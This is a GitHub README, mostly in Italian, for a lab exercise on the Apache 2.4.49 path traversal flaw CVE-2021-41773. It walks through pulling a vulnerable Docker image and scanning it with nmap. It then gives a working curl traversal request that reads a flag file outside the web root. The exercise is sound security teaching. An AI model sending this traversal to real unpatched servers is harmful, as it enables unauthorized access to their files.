Skip to content

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can s…

m96dg/CVE-2021-41773-exercise

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 

Repository files navigation

CVE-2021-41773-exercise

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and not earlier versions.

Credits intro to: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773

Obiettivo dell’esercitazione è di sfruttare la vulnerabilità presente in Apache 2.4.49. Per poter sfruttarla è necessario sfruttare un "path traversal attack" per mappare i file al di fuori delle cartelle preconfigurate e creare una sorta di remote shell.

Per l’esercitazione è comodo utilizzare un docker vulnerabile ad hoc presente su docker hub:

Link: https://hub.docker.com/r/m96dg/pw_apache_2_4_49

$docker pull m96dg/pw_apache_2_4_49

1_docker_pull

Per poter vedere le immagini dei docker pullate:

$docker images

Runnare il docker sul porto 8080:

$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49

Per poter verificare che sia effettivamente in esecuzione:

$docker ps

2_docker_run

Come si vede il web server è perfettamente funzionante:

3_8080

Fase di scanning (cerchiamo di raccogliere quante più informazioni possibili dall'host):

$nmap -sS -p- -T4 -Pn -oA portScan localhost

4_portScan

Fase di enumeration (cerchiamo di approndire le informazioni andando ad enumerare le porte trovare in fase di scansione):

$nmap -sV -sC -oA versionScan localhost

5_versionScan

Per poter effettuare l'attacco, è necessario lanciare questo comando e provare a trovare la flag (qualora sia inserita in root):

$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt

6_exploit

Per aver certezza che l'esercitazione sia andata a buon fine, e che la flag sia effettivamente quella trovata, confrontare la stringa con la sua decriptazione in Md5 ("HaiTrovatoLaFlag_Apache"). Se le due stringe combaciano, allora il gioco è fatto!

About

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can s…

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published